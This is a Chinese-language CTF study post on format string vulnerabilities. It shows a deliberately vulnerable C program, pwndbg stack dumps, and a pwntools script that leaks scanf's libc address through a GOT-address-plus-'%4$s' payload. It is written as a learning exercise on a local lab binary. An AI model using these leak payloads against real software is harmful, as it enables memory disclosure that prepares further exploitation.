pwn
格式化字符串
这个题目是ctfwiki上的
c代码如下:
#include <stdio.h>
int main() {
char s[100];
int a = 1, b = 0x22222222, c = -1;
scanf("%s", s);
printf("%08x.%08x.%08x.%s\n", a, b, c, s);
printf(s);
return 0;
}
(突然发现腾讯文档居然还支持代码好强啊
我们编译一下:
gcc -m32 -fno-stack-protector -no-pie -o leakMemory leakMemory.c -g
把保护措施都关掉了
% checksec leakMemory
[*] '/home/abc/Desktop/pwn/leakMemory/leakMemory'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
先看一下几个payload
pwndbg> b printf
Breakpoint 1 at 0x8048330
pwndbg> r
Starting program: /home/abc/Desktop/pwn/leakMemory/leakMemory
%08x.%08x.%08x
Breakpoint 1, __printf (format=0x8048593 "%08x.%08x.%08x.%s\n") at printf.c:28
28printf.c: No such file or directory.
在printf处下断点
此时栈上的布局如下
00:0000│ esp 0xffffcf9c —▸ 0x80484ea (main+100) ◂— add esp, 0x20
01:0004│ 0xffffcfa0 —▸ 0x8048593 ◂— and eax, 0x2e783830 /* '%08x.%08x.%08x.%s\n' */
02:0008│ 0xffffcfa4 ◂— 0x1
03:000c│ 0xffffcfa8 ◂— 0x22222222 ('""""')
04:0010│ 0xffffcfac ◂— 0xffffffff
05:0014│ 0xffffcfb0 —▸ 0xffffcfc0 ◂— '%08x.%08x.%08x'
continue一下:
pwndbg> c
Continuing.
00000001.22222222.ffffffff.%08x.%08x.%08x
Breakpoint 1, __printf (format=0xffffcfc0 "%08x.%08x.%08x") at printf.c:28
28in printf.c
输出了信息的同时, 命中第二个断点
此时栈上的布局如下:
00:0000│ esp 0xffffcfac —▸ 0x80484f9 (main+115) ◂— add esp, 0x10
01:0004│ 0xffffcfb0 —▸ 0xffffcfc0 ◂— '%08x.%08x.%08x'
... ↓
03:000c│ 0xffffcfb8 —▸ 0xf7fcf410 —▸ 0x8048278 ◂— inc edi /* 'GLIBC_2.0' */
04:0010│ 0xffffcfbc —▸ 0x804849d (main+23) ◂— add ebx, 0x1b63
05:0014│ eax 0xffffcfc0 ◂— '%08x.%08x.%08x'
06:0018│ 0xffffcfc4 ◂— '.%08x.%08x'
07:001c│ 0xffffcfc8 ◂— 'x.%08x'
此时printf函数会把格式化字符串之后的栈上的信息当作参数打印出来:
contiue一下
pwndbg> c
Continuing.
ffffcfc0.f7fcf410.0804849d[Inferior 1 (process 4975) exited normally]
之前栈上的信息显示的不全,栈的内存如下:
pwndbg> x/20x 0xffffcfb0
0xffffcfb0:0xffffcfc0 0xffffcfc0 0xf7fcf410 0x0804849d
0xffffcfc0:0x78383025 0x3830252e 0x30252e78 0x00007838
0xffffcfd0:0x00000000 0x00c30000 0x00000000 0xf7ffd000
0xffffcfe0:0x00000000 0x00000000 0x00000000 0x6f984f00
0xffffcff0:0x00000009 0xffffd2a4 0xf7e094a9 0xf7fb4748
0xffffcfb0 是格式化字符串的地址, 我们看到此时printf函数将0xffffcfc0 0xf7fcf410 0x0804849d
都打印出来了, 也就是格式化字符串之后的三个位置的信息
我们通过这种方式泄露栈的信息,但是也可以直接去取得栈中被视为第n+1个参数的值
至于为什么是第n+1, 这是因为格式化字符串是第一个参数
比如 通过 %3$x 我们可以泄露栈上被视为第4个参数的值
栈布局如下:
00:0000│ esp 0xffffcfac —▸ 0x80484f9 (main+115) ◂— add esp, 0x10
01:0004│ 0xffffcfb0 —▸ 0xffffcfc0 ◂— '%3$x'
... ↓
03:000c│ 0xffffcfb8 —▸ 0xf7fcf410 —▸ 0x8048278 ◂— inc edi /* 'GLIBC_2.0' */
04:0010│ 0xffffcfbc —▸ 0x804849d (main+23) ◂— add ebx, 0x1b63
05:0014│ eax 0xffffcfc0 ◂— '%3$x'
06:0018│ 0xffffcfc4 ◂— 0x0
07:001c│ 0xffffcfc8 —▸ 0xf7ffd940 ◂— 0x0
同样看不清, 还是直接打印内存信息吧
pwndbg> x/20x 0xffffcfb0
0xffffcfb0:0xffffcfc0 0xffffcfc0 0xf7fcf410 0x0804849d
0xffffcfc0:0x78243325 0x00000000 0xf7ffd940 0x000000c2
0xffffcfd0:0x00000000 0x00c30000 0x00000000 0xf7ffd000
0xffffcfe0:0x00000000 0x00000000 0x00000000 0xd6a57700
0xffffcff0:0x00000009 0xffffd2a4 0xf7e094a9 0xf7fb4748
猜猜这时候打印的信息是啥?
答案是栈上被视为第四个参数的信息: 0x0804849d
同样的我们还可以通过%s来得到字符串的信息
栈布局如下:
00:0000│ esp 0xffffcfac —▸ 0x80484f9 (main+115) ◂— add esp, 0x10
01:0004│ 0xffffcfb0 —▸ 0xffffcfc0 ◂— 0x7325 /* '%s' */
... ↓
03:000c│ 0xffffcfb8 —▸ 0xf7fcf410 —▸ 0x8048278 ◂— inc edi /* 'GLIBC_2.0' */
04:0010│ 0xffffcfbc —▸ 0x804849d (main+23) ◂— add ebx, 0x1b63
05:0014│ eax 0xffffcfc0 ◂— 0x7325 /* '%s' */
06:0018│ 0xffffcfc4 ◂— 0x1
07:001c│ 0xffffcfc8 —▸ 0xf7ffd940 ◂— 0x0
还是看不清,直接看内存吧(md 垃圾pwndbg)
pwndbg> x/20x 0xffffcfb0
0xffffcfb0:0xffffcfc0 0xffffcfc0 0xf7fcf410 0x0804849d
0xffffcfc0:0x00007325 0x00000001 0xf7ffd940 0x000000c2
0xffffcfd0:0x00000000 0x00c30000 0x00000000 0xf7ffd000
0xffffcfe0:0x00000000 0x00000000 0x00000000 0xf1ae2900
0xffffcff0:0x00000009 0xffffd2a4 0xf7e094a9 0xf7fb4748
这个时候会直接将 0xffffcfc0 对应的字符串打印出来
结果自然就是 %s了
如果我们输入%2$s, 这个时候就很有趣了, 按照道理程序会将 0xf7fcf410 对应地址的当作字符串打印出来, 可是如果这个地址无效呢?
我自己尝试的结果是直接退出了,什么都没有打印出来emm
这时候如果我们指定一个合法的地址, 比如got表中某个函数的地址这就很神奇了
exp如下:
from pwn import *
import time
sh = process('./leakMemory')
context.log_level = 'debug'
leakmemory = ELF('./leakMemory')
__isoc99_scanf_got = leakmemory.got['__isoc99_scanf']
print hex(__isoc99_scanf_got)
payload = p32(__isoc99_scanf_got) + '%4$s'
print payload
payload1 = '%4$s'
payload2 = 'AAAA%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p'
gdb.attach(sh)
#time.sleep(1)
sh.sendline(payload)
sh.recvuntil('%4$s\n')
#print sh.recvuntil('%4$s\n')
#print '\n'
print hex(u32(sh.recv()[4:8])) # remove the first bytes of __isoc99_scanf@got
sh.interactive()
我们运行这个exp
在pwndbg中下断点
运行到第二个printf的时候
───────────────────────────────────[ STACK ]────────────────────────────────────
00:0000│ esp 0xffa3bdfc —▸ 0x80484f9 (main+115) ◂— add esp, 0x10
01:0004│ 0xffa3be00 —▸ 0xffa3be10 —▸ 0x804a014 (_GLOBAL_OFFSET_TABLE_+20) —▸ 0xf7df2bb0 (__isoc99_scanf) ◂— push ebp
... ↓
03:000c│ 0xffa3be08 —▸ 0xf7f85410 —▸ 0x8048278 ◂— inc edi /* 'GLIBC_2.0' */
04:0010│ 0xffa3be0c —▸ 0x804849d (main+23) ◂— add ebx, 0x1b63
05:0014│ eax 0xffa3be10 —▸ 0x804a014 (_GLOBAL_OFFSET_TABLE_+20) —▸ 0xf7df2bb0 (__isoc99_scanf) ◂— push ebp
06:0018│ 0xffa3be14 ◂— '%4$s'
07:001c│ 0xffa3be18 —▸ 0xf7fb3900 (catch_hook) ◂— 0x0
另一边
[+] Waiting for debugger: Done
[DEBUG] Sent 0x9 bytes:
00000000 14 a0 04 08 25 34 24 73 0a │····│%4$s│·│
00000009
[DEBUG] Received 0x24 bytes:
00000000 30 30 30 30 30 30 30 31 2e 32 32 32 32 32 32 32 │0000│0001│.222│2222│
00000010 32 2e 66 66 66 66 66 66 66 66 2e 14 a0 04 08 25 │2.ff│ffff│ff.·│···%│
00000020 34 24 73 0a │4$s·││
00000024
continue
[DEBUG] Received 0x8 bytes:
00000000 14 a0 04 08 b0 2b df f7 │····│·+··││
00000008
0xf7df2bb0
[*] Switching to interactive mode
[*] Process './leakMemory' stopped with exit code 0 (pid 5064)
[*] Got EOF while reading in interactive
这个时候我们就得到了scanf函数的地址了
ok 还有几个地方没弄明白之后再写
网友评论